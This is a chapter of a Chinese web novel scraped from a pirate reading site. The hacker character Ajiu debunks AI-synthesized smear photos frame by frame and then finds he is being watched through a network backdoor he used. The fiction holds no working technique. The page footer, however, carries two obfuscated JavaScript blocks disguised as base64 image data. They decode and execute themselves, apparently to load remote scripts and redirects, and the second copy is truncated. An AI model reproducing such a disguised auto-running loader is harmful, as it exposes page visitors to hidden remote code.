首页
第39章 技术拆解:三分钟揭
返回
关灯 护眼:关 字号:小

第39章 技术拆解:三分钟揭穿AI合成

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge543.com,更新快,无弹窗!

    第39章技术拆解:三分钟揭穿AI合成(第1/2页)
    陆沉舟二次发布会结束后的第四十七分钟。
    网络世界已经彻底炸了。棋手群五人连线、当众打脸陆沉舟的视频片段,在各大平台病毒式传播。热搜榜前十五名,有十个与这场发布会相关:#棋手群亮相#、#陆建华害死妻子#、#陆沉舟直播造假#、#隐门是什么#、#天眼系统#、#白露胎记消失#、#AI换脸技术#、#豪门复仇真相#、#林晚背后团队#、#沈警官带走陆沉舟#。
    每一段视频下方,评论都在以每秒数百条的速度增加。舆论如海啸般彻底反转,那些三天前还在骂林晚“心机女”“精神病”的网友,现在开始疯狂扒陆沉舟的黑料,扒“隐门”的背景,扒“天穹科技”的关联公司。有人制作了详细的时间线图,梳理二十年来从锦绣家园事故到今日发布会的所有疑点。有人用技术手段分析陆沉舟发布会上的微表情,配上阿九的分析截图,证明“他在撒谎”。更有人开始“人肉”那些在三个月里攻击过林晚的营销号和水军,发现其中不少账号的注册邮箱、IP地址、甚至收款账户,都指向境外。
    而在这一切风暴的中心,紫玉山庄17号别墅密室,阿九正坐在十二块屏幕环绕的工作台前,进行发布会后的收尾工作。他的手指在机械键盘上飞舞,旁边的辅助屏幕上,代码如瀑布般倾泻。他的眼睛盯着正中央的那块屏幕——上面是陆沉舟发布会的全程录像,此刻正暂停在陆沉舟流泪鞠躬的那个画面。
    阿九放大画面,锁定陆沉舟的脸。瞳孔,嘴角,肩膀,每一个细微的肌肉变化,都被他用算法分解、标记、分析。屏幕上跳出密密麻麻的数据流:
    瞳孔收缩幅度:-0.3mm(撒谎概率87%)
    嘴角下拉角度:-2.7度(悲伤模拟度65%,紧张度35%)
    肩膀耸动频率:0.8次/秒(表演结束后放松典型特征)
    他把这些数据打包,发给苏瑾——作为后续法律诉讼的证据补充。然后,他点开另一个加密文件夹,里面是九张AI合成照片的原始数据包。这些是三天前,他从那个发照片的僵尸号服务器里抓取到的。当时只是为了备份证据,但现在,他有新的想法。
    手机震动,是棋手群的消息,屏蔽了秦知遥。
    苏瑾:【陆沉舟已被警方正式刑拘,涉嫌罪名:诬告陷害、伪造证据、诽谤、故意伤害(未遂)。沈警官说,陈烬提供的医疗记录是关键证据,已启动对陆建华死亡真相的重新调查。】
    周墨:【澜海科技收盘价25.30元,涨5.1%。做空盘午后大规模减仓,北极星资本撤了至少三亿资金。但股价依然在20元预警线上方,陆沉舟质押的股权暂时安全。】
    许薇:【我的文章《技术拆解:三分钟揭穿AI合成》已写好,配了详细图文,准备今晚八点发。需要阿九配合,提供技术分析截图和视频。】
    陈烬:【白露已安全抵达安全屋,情绪稳定。她提供了新的线索:陆沉舟曾让她模仿林晚的笔迹,写过几封信,内容是“承认出轨,请求原谅”。那些信可能被用在了伪造日记里。】
    林晚最后发言:【阿九,你那边能做一个更直观的、面向公众的技术拆解视频吗?就像三天前我发布会上那三分钟视频一样,但这次,专门针对那九张AI照片,一帧一帧拆穿。要快,今晚八点,和许薇的文章同步发布。】
    阿九看着这条消息,手指在键盘上停顿了两秒。
    然后他回复:【可以。需要三小时。视频长度控制在180秒内,用最通俗的语言解释最专业的技术。目标:让普通网友也能看懂,这些照片假在哪里。】
    林晚:【好。另外,查一下白露直播信号被拦截的具体路径,我要知道是谁干的。】
    阿九:【在查,已有线索。信号拦截点在北京朝阳区某数据中心,但操作终端在境外。服务器租赁方是一家新加坡公司,背后控股方是“天穹科技”。】
    发送完毕,阿九关掉群聊窗口。他深吸一口气,活动了一下手指,然后开始工作。
    他要做的,不仅仅是一个技术分析视频。他要做的,是一场面向数亿网民的、公开的、羞辱性的“技术处刑”。用最冷静的语调,最直观的画面,最无可辩驳的证据,告诉所有人:陆沉舟用来诬陷林晚的那些“实锤照片”,从头到尾,都是假的。
    而他只有三小时。
    晚上七点五十分,距离视频发布还有十分钟。
    阿九完成了最后的渲染和压缩。视频时长180秒,一秒不多,一秒不少。标题是:《AI照片伪造全解析:十七个破绽,三分钟看懂》。
    他没有用任何花哨的转场和特效,画面简洁得像一份技术报告。开头是那九张照片的缩略图,然后镜头拉近,锁定第一张——酒店走廊拥抱。
    视频开始播放。背景音乐是极简的电子音,节奏规律,冰冷,像心跳,也像倒计时。
    第0-10秒:元数据对比
    画面分割成左右两半。左边是照片的EXIF元数据面板,右边是林晚手机相册里一张真实照片的元数据。
    “第一张照片,拍摄时间显示是三个月前的晚上十一点四十七分,设备是尼康D850。”阿九的声音经过处理,低沉平稳,没有任何情绪,“但林晚女士过去三年从未使用过尼康单反。她所有的个人照片,都来自iPhone13Pro。更重要的是——”
    画面放大,用红圈标出元数据中的GPS信息栏:
    “这张照片的GPS定位信息被完全抹除。而正常的手机或相机照片,除非手动关闭,否则都会记录拍摄位置。为什么抹除?因为伪造者无法伪造一个真实存在、且与林晚女士行程匹配的定位。”
    第11-30秒:光影分析
    画面切换到照片的走廊部分,处理成黑白,用红色线条标注出光源方向。
    “根据照片中的窗户位置和时间,此时走廊的光源应该来自左侧的壁灯。但请注意林晚女士右侧脸颊的光影——”
    画面叠加了一张真实走廊在相似光线条件下的照片,光影方向用蓝色线条标注。红色和蓝色线条存在0.3度的偏差。
    “0.3度,肉眼几乎无法察觉。但在AI渲染中,这是常见错误——因为AI在模拟复杂光影时,难以做到百分之百的物理准确。这个破绽,在第一、三、六张照片中都存在。”
    第31-50秒:细节穿帮
    画面放大到照片中酒店墙壁的装饰画。
    “这幅画,是杭州某酒店的特色装饰。但该酒店三个月前刚刚开业,而照片的拍摄时间显示是‘三个月前’——那时候酒店还在试营业,根本没有这幅画。”
    画面切换,出现那家酒店官方宣传图的时间线,明确标注“此装饰画于开业当天(三个月前)悬挂”。
    “伪造者显然是从酒店开业后的宣传图中提取了背景,但忽略了时间逻辑——用三个月后的场景,伪造三个月前的照片。”
    第51-80秒:生物特征异常
    画面锁定林晚的右手。放大,再放大,直到能看清皮肤的纹理。
    “注意右手小臂内侧的皮肤纹理。”阿九的声音依然平静,“在正常光照下,皮肤纹理会有自然的起伏和阴影。但在这张照片中,这个区域的纹理过于平滑,像被‘磨皮’处理过。这是AI换脸后,为了融合边缘而进行的常规处理。”
    (本章未完,请点击下一页继续阅读)第39章技术拆解:三分钟揭穿AI合成(第2/2页)
    画面切换到三个月前慈善晚宴的照片,同一位置的皮肤纹理清晰自然。
    “对比可以看出,伪造照片中的皮肤,失去了真实皮肤的质感。”
    第81-110秒:时间线矛盾
    九张照片按时间顺序排列,下方出现林晚的真实行程时间线。
    “根据航班记录、酒店入住记录、信用卡消费记录,我们可以还原林晚女士过去三个月的真实行程。”
    每说一个时间点,屏幕上就弹出相应的证据截图:航班信息、酒店账单、会议照片、疗养院签到记录……密密麻麻,形成无可辩驳的不在场证明。
    “照片一、二、三的拍摄时间,林晚女士在上海。照片四的拍摄时间,她在家里。照片五的拍摄时间,她在基金会。照片六的拍摄时间,她在医院探望父亲。照片七、八、九的拍摄时间,她正在准备第一次发布会,有完整的监控记录。”
    第111-150秒:终极破绽——瞳孔
    画面锁定林晚的眼睛,放大到极限。
    “最后,也是最致命的破绽。”阿九的声音终于有了一丝波动,很轻微,但能听出是嘲讽,“注意瞳孔的反射。”
    画面处理,只保留瞳孔区域的高光反射。在正常的照片中,瞳孔的高光应该反射出拍摄环境的光源——比如窗户、灯光、甚至摄影师的身影。
    但在这九张照片中,林晚瞳孔的高光反射,全都一模一样。同一个角度,同一个形状,同一个亮度。
    “这不可能。”阿九说,“因为九张照片拍摄于不同的时间、不同的地点、不同的光线条件。瞳孔的高光反射,应该完全不同。唯一的解释是,这九张照片,是用同一张原始照片的AI换脸生成的。伪造者偷懒了,没有调整瞳孔高光。”
    第151-180秒:总结
    九张照片重新排列,每张照片上的破绽被红色标记圈出,像一道道流血的伤口。
    “综合以上分析,我们可以确定:这九张照片,全部是AI合成伪造品。伪造者技术高超,但并非完美。十七个破绽,每一个都指向同一个结论——这是陷害。”
    视频最后,黑屏上浮现一行白字:
    “技术不会撒谎。撒谎的,是用技术伪造真相的人。”
    视频结束。
    阿九点击上传。视频同步发布在棋手群控制的五个平台账号上,标题统一,发布时间统一。几乎在瞬间,播放量开始飙升。
    他关掉上传界面,靠在椅背上,闭上眼睛。
    三小时的高强度工作,让他有些疲惫。但更让他疲惫的,是这场看似赢了、却总觉得哪里不对劲的战争。
    陆沉舟被刑拘了,舆论反转了,林晚安全了,棋手群亮相了。
    一切都按计划进行。
    但阿九总觉得,太顺利了。
    顺利得像……有人在背后推着他们走。
    比如,那九张AI照片的破绽,虽然隐蔽,但以“隐门”的技术实力,完全可以做到天衣无缝。为什么留下这么多漏洞?是故意让他们发现?还是说,这些破绽本身就是某种……信号?
    又比如,白露直播信号被拦截的事。以隐门的手段,完全可以让白露“意外死亡”,或者让她彻底闭嘴。为什么只是替换画面?是为了保护她?还是为了……利用她?
    太多疑问,没有答案。
    手机震动,是加密频道的私聊消息。发信人ID是“0”。
    0号。
    阿九立刻坐直身体。0号很少主动联系,每次联系,都有重要信息。
    他点开消息。
    只有一行字:
    【技术拆解很精彩。但你们拆穿的,只是最表层的谎言。真正的谎言,藏在陆沉舟的眼泪里,藏在林晚的冷静里,也藏在……你的代码里。小心,游戏升级了。】
    消息在五秒后自动销毁。
    阿九盯着已经空白的屏幕,后背渗出冷汗。
    0号是什么意思?
    “真正的谎言,藏在陆沉舟的眼泪里,藏在林晚的冷静里”——这他能理解。陆沉舟的忏悔可能是演戏,林晚的反击也可能有隐藏目的。但“藏在你的代码里”是什么意思?
    他的代码怎么了?
    他猛地想起,三天前,在准备发布会现场那二十七枚传感器时,他曾经接入过澜海集团内部网络的一个“后门”。那个后门是他半年前发现的,一直留着,以备不时之需。当时接入时,他感觉到一丝异常——网络流量有极其轻微的、不规律的波动,像有什么东西在同步传输数据。
    他当时以为是澜海内部的安防系统,没在意。
    但现在想来,那可能是……某种监控程序,通过他的接入,反向侵入了他的系统。
    阿九的手指在键盘上快速敲击,调出三天前的系统日志。一行行代码滚动,他快速扫描。然后,在日志的深处,他找到了。
    一个隐藏进程。在他接入澜海网络的同一秒被激活,伪装成系统更新程序,悄悄运行了四十七分钟,在他断开连接后自动停止,并清除了所有运行痕迹。
    但它在系统缓存里,留下了一个极小的、几乎看不见的“脚印”。
    阿九放大那个“脚印”,是一串十六进制代码。他快速解码,得到一行英文:
    “Watchingyou.”
    看着你。
    落款是一个符号:一个抽象的、眼睛形状的图案。
    隐门的标志。
    阿九的脸色,彻底白了。
    原来,从他第一次入侵陆沉舟的电脑开始,从他第一次在棋手群里发言开始,从他每一次帮林晚破解证据开始——他就在被监视。
    被隐门监视。
    而今天的技术拆解视频,与其说是他在拆穿AI照片的谎言,不如说是……他在隐门面前,展示了所有的技术实力和分析思路。
    他们在评估他。
    评估他的能力,评估他的威胁,评估他……值不值得被吸纳,或者被清除。
    阿九靠在椅背上,感觉浑身冰凉。
    窗外,夜色深沉。
    而这场战争,果然如0号所说——
    升级了。
    同一时间,西山,栖云山庄别墅,书房。
    陆沉舟坐在黑暗中,面前是一台笔记本电脑。屏幕上是阿九刚刚发布的技术拆解视频,正播放到最后一秒。那句“技术不会撒谎。撒谎的,是用技术伪造真相的人”的白字,在黑暗中格外刺眼。
    他看完了。
    脸上没有任何表情。
    然后,他笑了。
    那笑容很轻,很淡,但眼睛里有一种奇异的光芒在燃烧。
    “阿九,”他轻声说,像在自言自语,“技术不错。但你还是太年轻了。”
    “真正的谎言,从来不需要伪造。”
    “因为它就藏在真相里。”
    他关掉视频,合上电脑。
    书房重归黑暗。
    只有窗外的山风,呼啸而过。
    像某种宣告,也像某种——
    序曲。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 